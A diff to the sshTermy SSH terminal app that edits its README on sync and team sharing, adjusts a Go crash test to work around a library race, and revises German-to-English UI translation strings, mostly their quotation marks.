**Merging per entry:** every connection and every tunnel carries a change timestamp. When syncing, the newer change
|
||||
wins per entry, deleted entries are remembered as tombstones (180 days), and „last used“
|
||||
wins per entry, deleted entries are remembered as tombstones (180 days), and “last used”
|
||||
does not count as a change. This way changes on two computers are not lost as long as they affect different entries.
|
||||
Syncing happens at start, a few seconds after every change and every 5 minutes; manually via the palette
|
||||
(„Sync now“). All settings travel along: look, colours, icons, language, keys, AI, lock, notifications, monitoring
|
||||
(“Sync now”). All settings travel along: look, colors, icons, language, keys, AI, lock, notifications, monitoring
|
||||
limits, danger check, paste preview, session logs, intro animation and so on. Only computer-specific things stay local:
|
||||
DPAPI, the sync settings themselves, key file paths, paired relays, team folder paths and the "mouse" switch (depends on
|
||||
the terminal program). Nerd Font icons sync too, but on another computer they only turn on after the test, since the
|
||||
font may be missing there.
|
||||
|
||||
**Archive (optional):** With the „Archive“ switch in the sync wizard (y), the config backups of your switches (F6)
|
||||
**Archive (optional):** With the “Archive” switch in the sync wizard (y), the config backups of your switches (F6)
|
||||
and the session logs also travel to your other computers. They are stored in the subfolder `sshtermy-archiv/` next to
|
||||
the sync file, one encrypted file per backup or log (key derived from the sync key; the file name only shows kind and
|
||||
day, no host names). Every file is written only once, so there are no conflicts. „Keep“ (30, 90 or 365 days) sets how
|
||||
day, no host names). Every file is written only once, so there are no conflicts. “Keep” (30, 90 or 365 days) sets how
|
||||
long entries stay in the archive; local copies are kept. A deleted log also disappears on the other computers. Running
|
||||
sessions go into the archive after they end; the log view shows which computer a log came from.
|
||||
|
||||
@@ -605,15 +605,16 @@ To try it without a NAS: `go run ./tools/dev/devdav` (http on port 5005) or `go
|
||||
|
||||
## Sharing with the team
|
||||
|
||||
Ctrl+Space → „Share with the team“: choose connections (Space, `g` folder, `a` all), then password and options.
|
||||
Ctrl+Space → “Share with the team”: choose connections (Space, `g` folder, `a` all), then password and options.
|
||||
sshTermy writes an encrypted `.sshteam` file (Argon2id + AES-256-GCM, nothing readable without the password,
|
||||
not even the sender). Jump hosts are added automatically; tunnels, runbooks and quick commands are optional.
|
||||
**Never included:** passwords, embedded keys, passphrases, key paths outside `~/`, user names (optional),
|
||||
learned rejected suggestions, AI and sync settings. Leave the password empty and sshTermy creates one.
|
||||
|
||||
The colleague uses Ctrl+Space → „Import team package“: file, password, target folder (default „Team“). A
|
||||
The colleague uses Ctrl+Space → “Import team package”: file, password, target folder (default “Team”). A
|
||||
preview shows new and updated entries. Importing the same package again updates the entries but keeps the
|
||||
colleague's own passwords, keys and user names.
|
||||
colleague's own passwords, keys and user names. For safety, new entries arrive without agent or X11
|
||||
forwarding, without a local shell command and without a `cmd:` password source; turn those on yourself if needed.
|
||||
|
||||
### Team folders: kept up to date
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package crash
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -78,7 +79,10 @@ func TestUIPanicIsCaptured(t *testing.T) {
|
||||
defer g.Close()
|
||||
r, w, _ := os.Pipe()
|
||||
defer w.Close()
|
||||
_, err := tea.NewProgram(panicModel{}, tea.WithInput(r), tea.WithOutput(discard{}), tea.WithoutSignals()).Run()
|
||||
// Nur io.Reader, kein *os.File: sonst nutzt bubbletea den epoll-Leser
|
||||
// von cancelreader, dessen Close beim Panik-Abbau mit dem Lese-Goroutine
|
||||
// um den Dateideskriptor rennt (Fehler in der Bibliothek, nicht hier).
|
||||
_, err := tea.NewProgram(panicModel{}, tea.WithInput(struct{ io.Reader }{r}), tea.WithOutput(discard{}), tea.WithoutSignals()).Run()
|
||||
if err == nil {
|
||||
t.Fatal("Run ohne Fehler")
|
||||
}
|
||||
|
||||
+123
-118
@@ -16,7 +16,7 @@ var en = map[string]string{
|
||||
" ⏎ oder Doppelklick belegt neu · werden mit dem Sync übernommen": " ⏎ or double-click rebinds · synced to other computers",
|
||||
" %d Datei(en) nicht lesbar": " %d file(s) not readable",
|
||||
" %d Treffer · Esc zeigt alle": " %d matches · Esc shows all",
|
||||
" %d gewählt · Ordner „%s“ · Benutzer %s": " %d selected · folder „%s“ · user %s",
|
||||
" %d gewählt · Ordner „%s“ · Benutzer %s": " %d selected · folder “%s” · user %s",
|
||||
" %d–%d von %d": " %d–%d of %d",
|
||||
" (laufende Befehle, Tunnel und Dateiübertragungen brechen ab).\n\n": " (running commands, tunnels and file transfers are aborted).\n\n",
|
||||
" (von Hand)": " (manual)",
|
||||
@@ -73,17 +73,17 @@ var en = map[string]string{
|
||||
" erreichen?": "?",
|
||||
" fügt ein)": " inserts)",
|
||||
" für ein Token": " for one token",
|
||||
" für „": " for „",
|
||||
" für „": " for “",
|
||||
" gelb)": ")",
|
||||
" gemerkt": " remembered",
|
||||
" gibt es dafür keine Entsprechung": " has no equivalent for this",
|
||||
" in „": " in „",
|
||||
" in „": " in “",
|
||||
" installiert · Neustart ": " installed · restart ",
|
||||
" ist auch „": " is also „",
|
||||
" ist auch „": " is also “",
|
||||
" ist eine Datei": " is a file",
|
||||
" ist installiert und wird mit einem Neustart aktiv.\n\n": " is installed and becomes active after a restart.\n\n",
|
||||
" ist installiert.\n\nr = jetzt neu starten · ": " is installed.\n\nr = restart now · ",
|
||||
" ist nicht belegt · Palette „Schnellbefehle bearbeiten“": " is not assigned · palette „Edit quick commands“",
|
||||
" ist nicht belegt · Palette „Schnellbefehle bearbeiten“": " is not assigned · palette “Edit quick commands”",
|
||||
" ist noch nicht bekannt.\n\n": " is not known yet.\n\n",
|
||||
" keine Treffer ": " no matches ",
|
||||
" kommt in der Kette zweimal vor": " appears twice in the chain",
|
||||
@@ -103,7 +103,7 @@ var en = map[string]string{
|
||||
" wieder angehängt.": " is reattached.",
|
||||
" wieder.": ".",
|
||||
" wirklich löschen?": "?",
|
||||
" zu „": " on „",
|
||||
" zu „": " on “",
|
||||
" zum Ausführen": " to run",
|
||||
" zum Einfügen": " to insert",
|
||||
" · %d Sprung-Host(s) nicht gefunden": " · %d jump host(s) not found",
|
||||
@@ -114,7 +114,7 @@ var en = map[string]string{
|
||||
" · Netzwerkgerät": " · network device",
|
||||
" · Neuverbinden fehlgeschlagen: ": " · reconnect failed: ",
|
||||
" · Rechtsklick fügt ein": " · right-click pastes",
|
||||
" · Vorbelegung „": " · defaults „",
|
||||
" · Vorbelegung „": " · defaults “",
|
||||
" · jede Zeile kann sofort laufen": " · every line may run immediately",
|
||||
" · mehrmals hintereinander abgebrochen, ⏎ verbindet neu": " · dropped several times in a row, ⏎ reconnects",
|
||||
" · muss in einem freigegebenen Ordner liegen": " · must be inside a shared folder",
|
||||
@@ -128,7 +128,7 @@ var en = map[string]string{
|
||||
" ○ leer": " ○ empty",
|
||||
" ▲ %s im Verlauf": " ▲ %s in history",
|
||||
" ▲ Fehler: ": " ▲ Errors: ",
|
||||
" ▲ auch „": " ▲ also „",
|
||||
" ▲ auch „": " ▲ also “",
|
||||
" × fehlgeschlagen": " × failed",
|
||||
" ◆ Als Nächstes: ": " ◆ Next: ",
|
||||
"# Sitzung %s – %s\n\n": "# Session %s – %s\n\n",
|
||||
@@ -156,7 +156,7 @@ var en = map[string]string{
|
||||
"%s: %s\n%s endgültig löschen?": "%s: %s\nDelete %s permanently?",
|
||||
"(keine Ausgabe)": "(no output)",
|
||||
"). Bei einem NAS ist das normal.\n\n": "). That is normal for a NAS.\n\n",
|
||||
"+ Neuer Ordner „": "+ New folder „",
|
||||
"+ Neuer Ordner „": "+ New folder “",
|
||||
", %d von anderen Rechnern übernommen": ", %d taken from other computers",
|
||||
", Ordner angelegt": ", folder created",
|
||||
", Ordner vorhanden": ", folder exists",
|
||||
@@ -171,13 +171,13 @@ var en = map[string]string{
|
||||
"- **Verbindung:** %s\n": "- **Connection:** %s\n",
|
||||
"---\nErstellt mit sshTermy\n": "---\nCreated with sshTermy\n",
|
||||
"-Sitzung": " session",
|
||||
"-Sitzung „": " session „",
|
||||
"-Sitzung „": " session “",
|
||||
". Es ist das Passwort, das beim ersten Einrichten des Syncs vergeben wurde (nicht das NAS-Passwort).": ". It is the password chosen when sync was first set up (not the NAS password).",
|
||||
". Nochmal ": ". Press ",
|
||||
". Umbenennen oder anderen Ordner wählen.": ". Rename it or choose another folder.",
|
||||
". Von unterwegs ist das Heimnetz nur per VPN/Tailscale erreichbar": ". From outside, your home network is only reachable via VPN/Tailscale",
|
||||
".fritz.box“": ".fritz.box“",
|
||||
".local“ oder „": ".local“ or „",
|
||||
".fritz.box“": ".fritz.box”",
|
||||
".local“ oder „": ".local” or “",
|
||||
"/ suchen": "/ search",
|
||||
"0.0–1.0; für Befehle niedrig (0.1–0.3)": "0.0–1.0; keep it low for commands (0.1–0.3)",
|
||||
"127.0.0.1 = nur dieser Rechner (empfohlen)": "127.0.0.1 = this computer only (recommended)",
|
||||
@@ -185,7 +185,7 @@ var en = map[string]string{
|
||||
": in Pageant laden oder mit PuTTYgen nach OpenSSH exportieren": ": load it into Pageant or export it to OpenSSH with PuTTYgen",
|
||||
": nicht gefunden": ": not found",
|
||||
": nur Master-Passwort)": ": master password only)",
|
||||
"; im Heimnetz hilft oft „": "; on a home network „",
|
||||
"; im Heimnetz hilft oft „": "; on a home network “",
|
||||
"= gefährlich, zweimal drücken": "= dangerous, press twice",
|
||||
"? Tastenkürzel": "? Keyboard shortcuts",
|
||||
"@@ Zeile %d @@": "@@ line %d @@",
|
||||
@@ -209,20 +209,20 @@ var en = map[string]string{
|
||||
"Alle Tastenkürzel auf Standard zurücksetzen?": "Reset all keyboard shortcuts to default?",
|
||||
"Allgemein": "General",
|
||||
"Als Verbindung speichern: ": "Save as connection: ",
|
||||
"Als Ziel starten: „": "Start as goal: „",
|
||||
"Als Ziel starten: „": "Start as goal: “",
|
||||
"Andere": "Other",
|
||||
"Anfrage": "Request",
|
||||
"Anmeldung": "Login",
|
||||
"Anmeldung & Ordner": "Login & folder",
|
||||
"Anmeldung abgelehnt. Mit 2-Faktor-Anmeldung ein App-Passwort anlegen: Nextcloud › Einstellungen › Sicherheit › „Neues App-Passwort erstellen“.": "Login rejected. With two-factor login, create an app password: Nextcloud › Settings › Security › „Create new app password“.",
|
||||
"Anmeldung abgelehnt. Mit 2-Faktor-Anmeldung ein App-Passwort anlegen: Nextcloud › Einstellungen › Sicherheit › „Neues App-Passwort erstellen“.": "Login rejected. With two-factor login, create an app password: Nextcloud › Settings › Security › “Create new app password”.",
|
||||
"Ansicht nicht mehr teilen": "Stop splitting the view",
|
||||
"Ansicht teilen (2 / 4)": "Split view (2 / 4)",
|
||||
"Ansicht teilen: ": "Split view: ",
|
||||
"Ansicht: ": "View: ",
|
||||
"Anzeigename, z. B. „DGX Spark“": "Display name, e.g. „DGX Spark“",
|
||||
"Anzeigename, z. B. „DGX Spark“": "Display name, e.g. “DGX Spark”",
|
||||
"Art": "Type",
|
||||
"Auf ": "On ",
|
||||
"Auf der DiskStation: Paket-Zentrum › „WebDAV Server“ installieren und öffnen › HTTPS aktivieren (Port 5006). Firewall in DSM › Sicherheit prüfen.": "On the DiskStation: Package Center › install and open „WebDAV Server“ › enable HTTPS (port 5006). Check the firewall in DSM › Security.",
|
||||
"Auf der DiskStation: Paket-Zentrum › „WebDAV Server“ installieren und öffnen › HTTPS aktivieren (Port 5006). Firewall in DSM › Sicherheit prüfen.": "On the DiskStation: Package Center › install and open “WebDAV Server” › enable HTTPS (port 5006). Check the firewall in DSM › Security.",
|
||||
"Aufruf falsch": "wrong usage",
|
||||
"Ausgabe blättern": "scroll output",
|
||||
"Ausgabe von ": "Output of ",
|
||||
@@ -230,7 +230,7 @@ var en = map[string]string{
|
||||
"Aussehen & Tasten": "Appearance & keys",
|
||||
"Aussehen wechseln": "Switch appearance",
|
||||
"Aussehen: ": "Appearance: ",
|
||||
"Auswahl mit Suche; neuen Namen tippen legt einen Ordner an („A / B“ verschachtelt)": "Pick with search; typing a new name creates a folder („A / B“ nested)",
|
||||
"Auswahl mit Suche; neuen Namen tippen legt einen Ordner an („A / B“ verschachtelt)": "Pick with search; typing a new name creates a folder (“A / B” nested)",
|
||||
"Auto-Reconnect an (Sitzung nach Abbruch neu verbinden)": "Auto-reconnect on (reconnect a session after it drops)",
|
||||
"Auto-Reconnect an: abgerissene Sitzungen verbinden sich neu.": "Auto-reconnect on: dropped sessions reconnect by themselves.",
|
||||
"Auto-Reconnect aus": "Auto-reconnect off",
|
||||
@@ -248,7 +248,7 @@ var en = map[string]string{
|
||||
"Befehle": "Commands",
|
||||
"Befehlspalette": "Command palette",
|
||||
"Befehlssatz": "Command set",
|
||||
"Beim Tippen erscheint grauer Text als Vorschlag. Nach einem Befehl schlägt die KI bis zu vier nächste Befehle vor. Eingefügt wird nur, ausgeführt erst mit deinem ⏎.": "While you type, grey text appears as a suggestion. After a command, the AI suggests up to four next commands. They are only inserted; nothing runs until you press ⏎.",
|
||||
"Beim Tippen erscheint grauer Text als Vorschlag. Nach einem Befehl schlägt die KI bis zu vier nächste Befehle vor. Eingefügt wird nur, ausgeführt erst mit deinem ⏎.": "While you type, gray text appears as a suggestion. After a command, the AI suggests up to four next commands. They are only inserted; nothing runs until you press ⏎.",
|
||||
"Benutzer": "User",
|
||||
"Benutzer fehlt": "User missing",
|
||||
"Benutzer fehlt (wird für die neuen Verbindungen gebraucht)": "User missing (needed for the new connections)",
|
||||
@@ -257,7 +257,7 @@ var en = map[string]string{
|
||||
"Benutzer oder Passwort falsch. QTS › Systemsteuerung › Benutzer: Kennwort prüfen; der Benutzer braucht Rechte am Freigabeordner. Achtung: nach mehreren Fehlversuchen sperrt QTS deine IP (Sicherheit › Zugriffsschutz).": "Wrong user or password. QTS › Control Panel › Users: check the password; the user needs permissions on the shared folder. Note: after several failed attempts QTS blocks your IP (Security › Access Protection).",
|
||||
"Benutzername und Passwort deines NAS-Kontos eintragen.": "Enter the user name and password of your NAS account.",
|
||||
"Bereich wechseln (geteilt)": "switch pane (split)",
|
||||
"Beschreibe ein Ziel („Docker aufräumen“), die KI schlägt Schritt für Schritt genau einen Befehl vor. Rote Befehle sind gefährlich und brauchen eine zweite Bestätigung.": "Describe a goal („clean up Docker“) and the AI suggests exactly one command at a time. Red commands are dangerous and need a second confirmation.",
|
||||
"Beschreibe ein Ziel („Docker aufräumen“), die KI schlägt Schritt für Schritt genau einen Befehl vor. Rote Befehle sind gefährlich und brauchen eine zweite Bestätigung.": "Describe a goal (“clean up Docker”) and the AI suggests exactly one command at a time. Red commands are dangerous and need a second confirmation.",
|
||||
"Bildschirm senden": "Send screen",
|
||||
"Bind-Adresse": "Bind address",
|
||||
"Bitte das Sync-Passwort der vorhandenen Sync-Datei eingeben.": "Please enter the sync password of the existing sync file.",
|
||||
@@ -280,7 +280,7 @@ var en = map[string]string{
|
||||
"Das TLS-Zertifikat wird nicht akzeptiert. Adresse (http/https) und Zertifikat prüfen.": "The TLS certificate is not accepted. Check the address (http/https) and the certificate.",
|
||||
"Das Zertifikat des Servers ist nicht mehr das, dem du vertraut hast. Wenn du es selbst erneuert hast: Assistent neu testen und erneut vertrauen. Sonst: Vorsicht, möglicher Angriff.": "The server's certificate is no longer the one you trusted. If you renewed it yourself: test the wizard again and trust it again. Otherwise: careful, possible attack.",
|
||||
"Das betrifft %s gleichzeitig.": "This affects %s at the same time.",
|
||||
"Das klappt nur, wenn dieser Ordner auf allen Rechnern abgeglichen wird (OneDrive, Dropbox, iCloud, Syncthing, Netzlaufwerk). Für ein NAS ist „NAS / WebDAV“ meist einfacher.": "This only works if this folder is synced on all computers (OneDrive, Dropbox, iCloud, Syncthing, network drive). For a NAS, „NAS / WebDAV“ is usually easier.",
|
||||
"Das klappt nur, wenn dieser Ordner auf allen Rechnern abgeglichen wird (OneDrive, Dropbox, iCloud, Syncthing, Netzlaufwerk). Für ein NAS ist „NAS / WebDAV“ meist einfacher.": "This only works if this folder is synced on all computers (OneDrive, Dropbox, iCloud, Syncthing, network drive). For a NAS, “NAS / WebDAV” is usually easier.",
|
||||
"Datei beschädigt": "File damaged",
|
||||
"Datei laden": "load file",
|
||||
"Datei lesen": "read file",
|
||||
@@ -293,9 +293,9 @@ var en = map[string]string{
|
||||
"Den übergeordneten Ordner gibt es nicht. Pfad prüfen.": "The parent folder does not exist. Check the path.",
|
||||
"Der API-Key fehlt oder ist falsch. In den Einstellungen (e) eintragen.": "The API key is missing or wrong. Enter it in the settings (e).",
|
||||
"Der API-Key würde unverschlüsselt gesendet. https verwenden oder in den Einstellungen bewusst erlauben.": "The API key would be sent unencrypted. Use https or allow it explicitly in the settings.",
|
||||
"Der Ordner verhält sich ungewöhnlich (Cloud-Platzhalter?). In OneDrive „Immer auf diesem Gerät behalten“ wählen.": "The folder behaves oddly (cloud placeholder?). In OneDrive choose „Always keep on this device“.",
|
||||
"Der Ordner verhält sich ungewöhnlich (Cloud-Platzhalter?). In OneDrive „Immer auf diesem Gerät behalten“ wählen.": "The folder behaves oddly (cloud placeholder?). In OneDrive choose “Always keep on this device”.",
|
||||
"Der Pfad muss mit einem Freigabeordner beginnen, z. B. /home/sshtermy oder /Public/sshtermy.": "The path must start with a shared folder, e.g. /home/sshtermy or /Public/sshtermy.",
|
||||
"Der Pfad muss mit einem freigegebenen Ordner beginnen. „/home/…“ geht nur, wenn der Benutzer-Home-Dienst aktiv ist (DSM › Benutzer › Erweitert). Sonst z. B. /Freigabename/sshtermy.": "The path must start with a shared folder. „/home/…“ only works if the user home service is enabled (DSM › User › Advanced). Otherwise e.g. /ShareName/sshtermy.",
|
||||
"Der Pfad muss mit einem freigegebenen Ordner beginnen. „/home/…“ geht nur, wenn der Benutzer-Home-Dienst aktiv ist (DSM › Benutzer › Erweitert). Sonst z. B. /Freigabename/sshtermy.": "The path must start with a shared folder. “/home/…” only works if the user home service is enabled (DSM › User › Advanced). Otherwise e.g. /ShareName/sshtermy.",
|
||||
"Der Pfad stimmt nicht. Die Base-URL endet meist auf /v1.": "The path is wrong. The base URL usually ends in /v1.",
|
||||
"Der Rechnername ist nicht auflösbar. Adresse prüfen oder die IP eintragen.": "The host name cannot be resolved. Check the address or enter the IP.",
|
||||
"Der Server ": "The server ",
|
||||
@@ -364,7 +364,7 @@ var en = map[string]string{
|
||||
"Fehlerzeile": "error line",
|
||||
"Fehlerzeilen": "error lines",
|
||||
"Fehlerzeilen im Verlauf zeigen": "Show error lines in history",
|
||||
"Fenster zu klein für „": "Window too small for „",
|
||||
"Fenster zu klein für „": "Window too small for “",
|
||||
"Fertig. Auf jedem weiteren Rechner: y drücken, denselben Ort und dasselbe Sync-Passwort angeben.": "Done. On every other computer: press y and enter the same location and the same sync password.",
|
||||
"Fertig. Bitte sshTermy neu starten.": "Done. Please restart sshTermy.",
|
||||
"Filter aus": "filter off",
|
||||
@@ -385,7 +385,7 @@ var en = map[string]string{
|
||||
"Fund / alle wählen": "select hit / all",
|
||||
"Funde": "hits",
|
||||
"Für diesen Build gibt es keinen Changelog.": "There is no changelog for this build.",
|
||||
"Für dieses System umschreiben: „": "Rewrite for this system: „",
|
||||
"Für dieses System umschreiben: „": "Rewrite for this system: “",
|
||||
"Für einen Vergleich braucht es mindestens zwei Sicherungen.": "A comparison needs at least two backups.",
|
||||
"GEFAHR": "DANGER",
|
||||
"Gefunden: ": "Found: ",
|
||||
@@ -394,7 +394,7 @@ var en = map[string]string{
|
||||
"Gelerntes löschen": "Delete learned",
|
||||
"Gerät": "Device",
|
||||
"Gerät kennt den Befehl nicht": "device does not know the command",
|
||||
"Gerät kennt „show running-config“ nicht": "Device does not know „show running-config“",
|
||||
"Gerät kennt „show running-config“ nicht": "Device does not know “show running-config”",
|
||||
"Gerätetyp": "Device type",
|
||||
"Gesichert: +%d −%d Zeilen gegenüber %s. d zeigt den Diff.": "Backed up: +%d −%d lines compared to %s. d shows the diff.",
|
||||
"Gespeichert (verschlüsselt)": "Saved (encrypted)",
|
||||
@@ -421,11 +421,11 @@ var en = map[string]string{
|
||||
"Hosts · Quelle · Befehl": "hosts · source · cmd",
|
||||
"Hosts/Quelle/Befehl": "hosts/source/command",
|
||||
"Hänge ": "Reattaching ",
|
||||
"Häufige Befehle liegen auf ⇧F1 bis ⇧F8, je nach Gerät vorbelegt (z. B. „show vlans“ bei Aruba). F9 zeigt die Liste. Mit ⇧F9 erklärt die Tastenzeile unten, was die Tasten im aktuellen Bereich bewirken.": "Frequent commands sit on ⇧F1 to ⇧F8, preset per device (e.g. „show vlans“ on Aruba). F9 shows the list. With ⇧F9 the key bar at the bottom explains what the keys do in the current area.",
|
||||
"Häufige Befehle liegen auf ⇧F1 bis ⇧F8, je nach Gerät vorbelegt (z. B. „show vlans“ bei Aruba). F9 zeigt die Liste. Mit ⇧F9 erklärt die Tastenzeile unten, was die Tasten im aktuellen Bereich bewirken.": "Frequent commands sit on ⇧F1 to ⇧F8, preset per device (e.g. “show vlans” on Aruba). F9 shows the list. With ⇧F9 the key bar at the bottom explains what the keys do in the current area.",
|
||||
"Idee: Dominik Bornhäußer": "Idea: Dominik Bornhäußer",
|
||||
"Im Browser öffnen": "Open in browser",
|
||||
"Im Ordner liegt eine fremde oder beschädigte ": "The folder contains a foreign or damaged ",
|
||||
"Im QTS: Systemsteuerung › Netzwerk- & Dateidienste › Win/Mac/NFS/WebDAV › Reiter WebDAV › „WebDAV aktivieren“. Anwendungen › Webserver muss laufen (HTTP 80 / HTTPS 8081).": "In QTS: Control Panel › Network & File Services › Win/Mac/NFS/WebDAV › WebDAV tab › „Enable WebDAV“. Applications › Web Server must be running (HTTP 80 / HTTPS 8081).",
|
||||
"Im QTS: Systemsteuerung › Netzwerk- & Dateidienste › Win/Mac/NFS/WebDAV › Reiter WebDAV › „WebDAV aktivieren“. Anwendungen › Webserver muss laufen (HTTP 80 / HTTPS 8081).": "In QTS: Control Panel › Network & File Services › Win/Mac/NFS/WebDAV › WebDAV tab › “Enable WebDAV”. Applications › Web Server must be running (HTTP 80 / HTTPS 8081).",
|
||||
"Im Verlauf suchen": "Search history",
|
||||
"In Ordner verschieben": "Move to folder",
|
||||
"Inhalt": "Content",
|
||||
@@ -443,7 +443,7 @@ var en = map[string]string{
|
||||
"KI": "AI",
|
||||
"KI eine Frage stellen": "ask the AI a question",
|
||||
"KI fragen": "Ask AI",
|
||||
"KI fragen: „": "Ask AI: „",
|
||||
"KI fragen: „": "Ask AI: “",
|
||||
"KI ohne Werkzeuge: jeder Befehl braucht deine Bestätigung.\n\n": "AI without tools: every command needs your confirmation.\n\n",
|
||||
"KI-Copilot": "AI copilot",
|
||||
"KI-Copilot (OpenAI-kompatibel: OpenAI, vLLM, SGLang, Ollama, LiteLLM, LocalAI)": "AI copilot (OpenAI-compatible: OpenAI, vLLM, SGLang, Ollama, LiteLLM, LocalAI)",
|
||||
@@ -461,10 +461,10 @@ var en = map[string]string{
|
||||
"Kein fehlgeschlagener Befehl": "No failed command",
|
||||
"Keine Antwort innerhalb des Timeouts. Ist der Server überlastet, lädt das Modell noch, oder blockt eine Firewall?": "No answer within the timeout. Is the server overloaded, is the model still loading, or is a firewall blocking?",
|
||||
"Keine Berechtigung für diesen Ordner. Lese-/Schreibrecht am Server vergeben.": "No permission for this folder. Grant read/write permission on the server.",
|
||||
"Keine Berechtigung. DSM › Systemsteuerung › Benutzer › Bearbeiten: „Anwendungen › WebDAV“ erlauben und Lese-/Schreibrecht für den freigegebenen Ordner geben.": "No permission. DSM › Control Panel › User › Edit: allow „Applications › WebDAV“ and grant read/write permission for the shared folder.",
|
||||
"Keine Berechtigung. QTS › Freigabeordner › Rechte bearbeiten: Lese-/Schreibrecht geben. Bei WebDAV „Freigabeordner-Berechtigungen verwenden“ wählen.": "No permission. QTS › Shared Folders › Edit Permissions: grant read/write. For WebDAV choose „Use shared folder permissions“.",
|
||||
"Keine Berechtigung. DSM › Systemsteuerung › Benutzer › Bearbeiten: „Anwendungen › WebDAV“ erlauben und Lese-/Schreibrecht für den freigegebenen Ordner geben.": "No permission. DSM › Control Panel › User › Edit: allow “Applications › WebDAV” and grant read/write permission for the shared folder.",
|
||||
"Keine Berechtigung. QTS › Freigabeordner › Rechte bearbeiten: Lese-/Schreibrecht geben. Bei WebDAV „Freigabeordner-Berechtigungen verwenden“ wählen.": "No permission. QTS › Shared Folders › Edit Permissions: grant read/write. For WebDAV choose “Use shared folder permissions”.",
|
||||
"Keine Fehlerzeilen im Verlauf": "No error lines in history",
|
||||
"Keine Fehlerzeilen mit „": "No error lines with „",
|
||||
"Keine Fehlerzeilen mit „": "No error lines with “",
|
||||
"Keine Hosts gewählt (Leertaste, g = ganzer Ordner, a = alle)": "No hosts selected (Space, g = whole folder, a = all)",
|
||||
"Keine Schreibrechte in diesem Ordner. Anderen Ordner wählen oder Rechte prüfen.": "No write permission in this folder. Choose another folder or check the permissions.",
|
||||
"Keine inhaltlichen Änderungen.": "No changes in content.",
|
||||
@@ -509,7 +509,7 @@ var en = map[string]string{
|
||||
"Mitschreiben ist aus": "Recording is off",
|
||||
"Modell": "Model",
|
||||
"Modell wählen": "choose model",
|
||||
"Modell „": "Model „",
|
||||
"Modell „": "Model “",
|
||||
"Modelle des Endpunkts (%d)": "Models of the endpoint (%d)",
|
||||
"Modellname fehlt": "Model name missing",
|
||||
"NAS ": "NAS ",
|
||||
@@ -518,7 +518,7 @@ var en = map[string]string{
|
||||
"Nach unten schieben": "Move down",
|
||||
"Name auflösen": "Resolve name",
|
||||
"Name des neuen Ordners": "Name of the new folder",
|
||||
"Name des neuen Ordners. Mit „ / “ verschachteln, z. B. „Kunde A / Switches“.": "Name of the new folder. Nest with „ / “, e.g. „Customer A / Switches“.",
|
||||
"Name des neuen Ordners. Mit „ / “ verschachteln, z. B. „Kunde A / Switches“.": "Name of the new folder. Nest with “ / ”, e.g. “Customer A / Switches”.",
|
||||
"Name fehlt": "Name missing",
|
||||
"Name nicht gefunden. Schreibweise prüfen oder die IP-Adresse nehmen": "Name not found. Check the spelling or use the IP address",
|
||||
"Name oder IP": "Name or IP",
|
||||
@@ -547,7 +547,7 @@ var en = map[string]string{
|
||||
"Nichts gefunden. Im Terminal wird Text zum Ziel oder zur Frage.": "Nothing found. In the terminal, text becomes a goal or a question.",
|
||||
"Nichts gewählt (Leertaste wählt, a = alle)": "Nothing selected (Space selects, a = all)",
|
||||
"Noch keine Daten. r = abfragen": "No data yet. r = query",
|
||||
"Noch keine Sicherung. b sichert „show running-config“ verschlüsselt auf diesem Rechner.": "No backup yet. b backs up „show running-config“ encrypted on this computer.",
|
||||
"Noch keine Sicherung. b sichert „show running-config“ verschlüsselt auf diesem Rechner.": "No backup yet. b backs up “show running-config” encrypted on this computer.",
|
||||
"Noch keine Tags. Tags vergibst du beim Bearbeiten (e), durch Komma getrennt.": "No tags yet. You add tags when editing (e), separated by commas.",
|
||||
"Noch keine Tunnel für diese Verbindung.\nn = neuer Tunnel (z. B. -L 3000:localhost:3000)": "No tunnels for this connection yet.\nn = new tunnel (e.g. -L 3000:localhost:3000)",
|
||||
"Noch keine Verbindungen. Mit n anlegen oder mit f im Netz suchen.": "No connections yet. Add one with n or search the network with f.",
|
||||
@@ -562,8 +562,8 @@ var en = map[string]string{
|
||||
"Ordner am NAS": "Folder on the NAS",
|
||||
"Ordner anlegen": "Create folder",
|
||||
"Ordner auflösen": "Dissolve folder",
|
||||
"Ordner der neuen Verbindungen, „A / B“ verschachtelt (leer = oberste Ebene)": "Folder for the new connections, „A / B“ nested (empty = top level)",
|
||||
"Ordner heißt jetzt „": "Folder is now called „",
|
||||
"Ordner der neuen Verbindungen, „A / B“ verschachtelt (leer = oberste Ebene)": "Folder for the new connections, “A / B” nested (empty = top level)",
|
||||
"Ordner heißt jetzt „": "Folder is now called “",
|
||||
"Ordner konnte nicht angelegt werden. Gibt es das übergeordnete Laufwerk, ist der Cloud-Client angemeldet?": "Folder could not be created. Does the parent drive exist, is the cloud client signed in?",
|
||||
"Ordner relativ zu deinen Dateien angeben, z. B. sshtermy oder Backups/sshtermy.": "Enter the folder relative to your files, e.g. sshtermy or Backups/sshtermy.",
|
||||
"Ordner suchen oder neuen Namen tippen": "Search folder or type a new name",
|
||||
@@ -571,7 +571,7 @@ var en = map[string]string{
|
||||
"Ordner wählen": "Choose folder",
|
||||
"Ordner zu-/aufklappen": "collapse/expand folder",
|
||||
"Ordner öffnen": "open folder",
|
||||
"Ordner „": "Folder „",
|
||||
"Ordner „": "Folder “",
|
||||
"Ordner, den dein Cloud-Dienst abgleicht, z. B. ~/OneDrive/sshtermy": "Folder your cloud service syncs, e.g. ~/OneDrive/sshtermy",
|
||||
"PRODUKTIV": "PRODUCTION",
|
||||
"Paket": "package",
|
||||
@@ -599,10 +599,10 @@ var en = map[string]string{
|
||||
"Programm abgestürzt": "program crashed",
|
||||
"Protokoll": "Log",
|
||||
"Protokoll löschen": "Delete log",
|
||||
"Protokoll „": "Really delete log „",
|
||||
"Protokoll „": "Really delete log “",
|
||||
"Protokolle": "Logs",
|
||||
"ProxyCommand wird nicht unterstützt (nur ProxyJump)": "ProxyCommand is not supported (only ProxyJump)",
|
||||
"ProxyJump mit mehreren Stationen: nur „": "ProxyJump with several hops: only „",
|
||||
"ProxyJump mit mehreren Stationen: nur „": "ProxyJump with several hops: only “",
|
||||
"Prüfe den Text, bevor er in die Shell geht.": "Check the text before it goes to the shell.",
|
||||
"Prüfung": "Check",
|
||||
"Quelle": "Source",
|
||||
@@ -652,7 +652,7 @@ var en = map[string]string{
|
||||
"Schnellbefehle bearbeiten": "Edit quick commands",
|
||||
"Schnellbefehle und mehr": "Quick commands and more",
|
||||
"Schnellbefehle: ": "Quick commands: ",
|
||||
"Schreibe „": "Rewriting „",
|
||||
"Schreibe „": "Rewriting “",
|
||||
